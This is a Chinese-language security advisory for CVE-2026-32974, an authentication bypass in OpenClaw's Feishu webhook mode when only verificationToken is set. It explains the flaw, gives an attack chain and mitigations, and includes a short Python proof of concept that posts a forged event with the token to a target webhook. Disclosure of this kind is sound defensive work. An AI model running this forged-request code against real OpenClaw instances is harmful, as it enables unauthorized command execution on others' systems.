IPBUF安全漏洞报告
English
CVE-2026-32974 CVSS 8.6 高危

CVE-2026-32974 OpenClaw飞书Webhook认证绕过漏洞

披露日期: 2026-03-29

漏洞信息

漏洞编号
CVE-2026-32974
漏洞类型
认证绕过
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

认证绕过OpenClawWebhook伪造请求CVE-2026-32974

漏洞概述

OpenClaw在2026.3.12之前的版本中,飞书Webhook模式存在严重的安全缺陷。当系统仅配置了verificationToken而未配置encryptKey时,无法有效验证请求来源的真实性。未经身份验证的远程攻击者可利用此漏洞,通过向Webhook端点发送伪造的飞书事件数据,绕过安全验证机制,进而触发下游工具的执行。

技术细节

该漏洞源于OpenClaw对飞书Webhook请求的鉴权逻辑不严谨。飞书Webhook机制推荐使用AES加密的encryptKey配合签名验证请求体完整性,而verificationToken仅作为简单的令牌比对。在受影响版本中,若仅启用verificationToken,OpenClaw仅校验请求头中的Token是否匹配,忽略了对请求体加密签名的校验。攻击者无需知道encryptKey或进行复杂的签名计算,只需在HTTP请求中附带截获或猜测的verificationToken,并构造恶意JSON数据作为事件载荷发送至服务器。服务器接收后,将其视为合法的飞书事件并解析,最终导致攻击者控制的下游命令或操作被执行。

攻击链分析

STEP 1
信息收集
攻击者识别出目标OpenClaw实例及其飞书Webhook接口地址。
STEP 2
漏洞利用
攻击者向Webhook端点发送特制的HTTP POST请求,在请求体中包含伪造的事件数据,并在请求头或参数中附带正确的verificationToken。
STEP 3
验证绕过
由于仅配置了Token验证且未启用加密Key校验,OpenClaw接收该请求并将其视为来自飞书平台的合法事件。
STEP 4
执行攻击
OpenClaw解析伪造的事件内容,触发下游关联的工具或脚本执行,导致未授权的操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target OpenClaw Webhook URL target_url = "http://target-ip:port/webhook/feishu" # The leaked or configured verificationToken verification_token = "YOUR_VERIFICATION_TOKEN_HERE" # Forged malicious event payload to trigger downstream execution malicious_payload = { "challenge": "", "token": verification_token, "type": "event_callback", "event": { "type": "message", "content": { "text": "Triggering malicious command execution" } } } headers = { "Content-Type": "application/json" } # Send the forged event response = requests.post(target_url, data=json.dumps(malicious_payload), headers=headers) if response.status_code == 200: print("[+] Exploit successful! Event injected.") else: print("[-] Exploit failed.")

影响范围

OpenClaw < 2026.3.12

防御指南

临时缓解措施
建议立即检查OpenClaw配置,确保在飞书Webhook模式中不仅设置了verificationToken,还必须配置encryptKey以启用强加密验证。若无法立即升级,应限制Webhook端点仅允许飞书官方服务器IP访问,防止外部攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表